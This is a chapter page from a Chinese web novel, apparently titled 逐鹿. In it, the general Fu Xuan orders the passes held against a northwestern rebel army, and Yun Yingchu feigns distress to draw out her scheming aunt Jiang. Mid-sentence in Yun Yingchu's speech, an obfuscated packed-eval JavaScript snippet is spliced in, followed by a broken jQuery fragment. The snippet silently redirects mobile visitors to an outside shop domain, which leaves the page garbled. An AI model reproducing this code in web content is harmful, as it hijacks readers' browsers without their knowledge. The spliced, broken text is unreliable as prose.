文趣网 > 都市小说 > 逐鹿 > 103. 假意
    “什么!?”

    -

    卫关炬火彻照,主帅帐前亲卫正领着一个候骑模样的人匆匆绕过满地狼藉,一路往临时征作中军帅营的卫关城府衙去了。

    这候骑原本就是镇北将军幕府出身,与许多帐前亲卫熟识,路上彼此闲叙了几句。来接引的亲卫见他这一趟换马不换人地从潼关疾驰到卫关,形容憔悴得很,忍不住开口问起是不是潼关到函谷一带情形不好。

    那候骑却连连摇头,直说自从北军接管潼关之后,先前还摩拳擦掌准备直下长安的流兵,竟然一夜之间转了性儿,全部龟缩回函谷,闭城不出了。

    “一帮碎怂。”

    候骑捎来的军报虽然是好消息,但实在出人意料,亲卫甫一听到先是惊讶,紧接着就呸了一句。

    “还以为有多了不得,洛阳那些守备军到底在搞什么?竟然能放任三两草寇就这么占了函谷?真该......”亲卫骂到一半似是突然想起什么,神色一阵变幻,终于还是收了声。

    “我也觉得怪得很。”候骑说道。

    帅衙就在眼前,路过执戍的近卫,穿过一进上的议事堂,眼前赫然是两列帐前执戟,执戟身后的堂门并未关上,里面只有零星几盏灯光。

    傅翾坐在堂中,正在翻看手中的几卷文书。

    “进来。”

    傅翾不曾抬头,只是随意吩咐道:“关东的消息?”

    “是。”候骑连忙抱拳,身旁的亲兵接过他手中的信囊奉到桌案上。

    “将军,潼关外流兵撤至函谷,严关据守,十分避畏北军。北军抵潼关至今一次也不曾与之交手。”

    傅翾两下拆了信囊,将里面的绢帛抽出来细读了两遍。

    那绢帛细腻莹白,只在末尾落印处有些洇红,相较于堂中三人,实在是最为体面的了。

    候骑一路上风尘劳顿且不提,镇北将军帐下亲卫虽然是随着中军走,此时也是灰头土脸。

    傅翾并未卸甲,除了头盔放在桌案,身上甲胄齐全,血迹和灰尘暗淡了甲片的色,近处仅有的灯烛一照,利落勾勒出凛冽的锋锐轮廓。

    “传令潼、武关,蒲、风二津,各部兵马严守关隘,不许擅动,违者军法从事。”

    堂中的灯火被傅翾突然的声音所震,猝不及防地抖动了一下。

    “是。”亲卫与候骑抱拳,领命后各自去忙。

    傅翾不再看桌案上的文书信帛,他拎着头盔站起身,堂中侍立的亲随立刻上前,轻车熟路地跟着傅翾往城门上去了。

    卫关城墙虽然坚固,但也禁不住接续的冲击,北面的垛口处被砲石砸出了个豁口,所幸空缺不大,不足以令西北边军从中突入。

    傅翾一路上巡视过各处警戒,此时在城墙上站定,远处星星点点的火光所在,便是西北边军的大营。

    他与袁歆在卫关已经对峙了数日。袁歆的西北边军自不必说,他们一路从萧关外急行至此又连续受创,近几日的对战上已经明显看得出来疲惫,而城中禁军与榆上、卫关本部的守备,虽然他们的境遇比城外要好上一些,也必须要尽快休整了。

    从得知袁歆率西北边军反叛之日算起,此时已经过去半月,他们已经在长安外迟滞了西北边军兵锋一旬有余。这一路上的险关要塞俱已物尽其用。

    长安一战,终究要来临。

    “叫各营都督和参军到中帐议事。”傅翾吩咐道,旋即转身下楼。

    -

    姜氏在幕府后院厅堂里坐定时,心下仍有些惴惴。

    自从长安一夜之间风云变幻,她就再也没有见过她这位贵不可言的侄女儿。虽说先前云映初态度上十分软和,不仅将神祠的事情一笔勾销,甚至还默许了她后续的亲近往来,她此时仍旧颇为不安,似是这座来过数次的幕府后院,摇身一变成了决狱断命的衙门。

    倒不是因为她心虚,只是她近来从姜家听闻的不少消息都少不了云映初的影子。

    傅翾临走时给云映初留下了兵马护身八成是真的,或许也像传言中所说,甚至给了她小范围调动禁军的权力,毕竟太皇太后以雷霆手段震慑京中流言时,她就隐约听闻有云映初参与其中。

    毕竟若是云映初手中真有可以自由调动的兵马,面对这种公私参半的事务,太皇太后必然会用她。

    姜氏一边笑着敷衍走方才来相告侯夫人正在梳妆请贵客少待的小侍女,一边心虚不宁地思索着。

    依着太皇太后倚重傅翾的习惯,此时傅翾不在,太皇太后为了安定肱骨,或者只是看重云映初身份合适,命她充当沟通内外的桥梁、发号施令的口舌也不是不可能。

    对于云映初突如其来的邀请,姜氏在不安之下,仍有一丝隐隐的兴奋。

    宫门闭锁之下,姜家几乎断绝了与太后的联系,而云映初却是太皇太后钦点自由往来禁中的人,若是她能够从她的侄女儿这里探听得禁中一二内情,那岂不是大功一件?

    “梳妆耽搁了时间,让伯母久等了。”云映初绕过后閣前的屏风走到堂中。

    姜氏连忙收起参差的思绪,起身笑脸相迎:“你这孩子,总是这么客气,梳不梳妆的有什么要紧,哪怕是伯母来给你妆扮也使得呀。”

    云映初一样含笑,与姜氏推了几句便各自入座。

    “怎么想起叫伯母来做客了?”姜氏在前厅等待已久,好不容易见了云映初便直入话题。

    云映初故作郁闷怅然,不曾言语,只是轻叹了一声。

    “可是出什么事了?”姜氏着急追问。

    “倒不是什么大事。”云映初苦笑道,“原不过君侯半月前突然得了什么信儿,夜里就入宫去了,转天一早,见面就告诉我他要离开长安清扫叛军。开始我还以为是潼关上的北军出了什么事情,近些天我隐约听见了些风声,心里

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718329|204021||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    实在是......”

    “好侄女儿。”姜氏忙道,“可得告诉伯母你听闻了些什么,京中惯会乱传言语,千万不要为了些不通的闲话烦心!”

    “正要请伯母参详。”云映初顺势应下来,“其实我后来也知道不是关东的祸乱,实则是西北叛了,君侯出城正是为了此事。可不巧,太皇太后竟然在这节骨眼儿上病了,当日冯常侍遣人到府上请我入宫侍疾,当真是吓了我一跳,生怕陛下在此时出了差错。入了宫,我见陛下精神尚可,只是见不得风,正要放下心,却听陛下吩咐要闭锁宫禁与十二门。”

    云映初神色十分苦楚:“我这才晓得,原来西北那边不是小事,眼见着要打到长安了。”

    姜氏面上与云映初一般愁郁,心中却不住地嗤笑。先是听闻后又亲眼见着云映初在朔平和神祠两事上的处置,本以为她这侄女儿是个有城府有谋算的,谁承想竟也是如此不经事,如此看来,云映初在朔平时的举动多半是讹传,而神祠之后对她的网开一面,少不得也是因为色厉内荏,不愿逆着亲缘与大伯一家一刀两断才如此行事。

    虽然心中这么想,姜氏仍旧留了几分心思防备着云映初是有所图谋刻意诈她。她温声安抚道:“这都是外面府君的事情,你担忧这些做什么。太皇太后主政,自然也要过问城防与禁中庶务。闭锁个城门、宫门又算得了什么,太后陛下不也是一样在宫中吗?你可见伯母娘家为此事闹翻天了?”

    纵然云映初心中记挂着一摞事,眼下听见姜氏与她说姜家一片太平,也不觉想要冷笑。

    要知道,姜家为着恢复与太后通讯一事,在朝堂上可谓是花样百出,同时又想要遮掩自身已经断了与禁中联系的事实,这才好歹没有直接叫御史们在朝堂上威胁哭闹起来。

    “倒不是为了此事。”云映初抬起手有气无力地向姜氏摆了摆,“与伯母说句实在话,我如今嫁与君侯,外面自有他一力为我担着,我何苦上赶着操这些公卿们该操的心。只不过是后来的这些话涉及了咱们家里,我这才......”

    “家里?”姜氏闻言倏然警惕,直觉其中有异,于是小心翼翼地问道,“你父母远在徐州,京中只你伯父在,再算上你,谁是能惹出事端的人,你伯父这人你还不清楚?最是谨小慎微了。阿晏,好孩子,告诉伯母你究竟听到了些什么,说不得是想岔了。”

    云映初蹙眉道:“伯母清楚,太皇太后卧病,虽能理事,却不好见外臣,一些器物文书是由我与冯常侍从中代为传达的,可谁知竟在其中看到了弹劾家中据地不臣、意图谋反的文书,这......这分明是无稽之谈!”

    姜氏不觉有些讪讪,自从云映初嫁给傅翾之后,姜家对云家的态度便急转直下,连她和云通都免不了吃些瓜络儿,此时弹劾云兴也不是不可能,毕竟要逼着太皇太后再开宫禁,云映初这个可以自由出入禁中的人自然是入手点之一。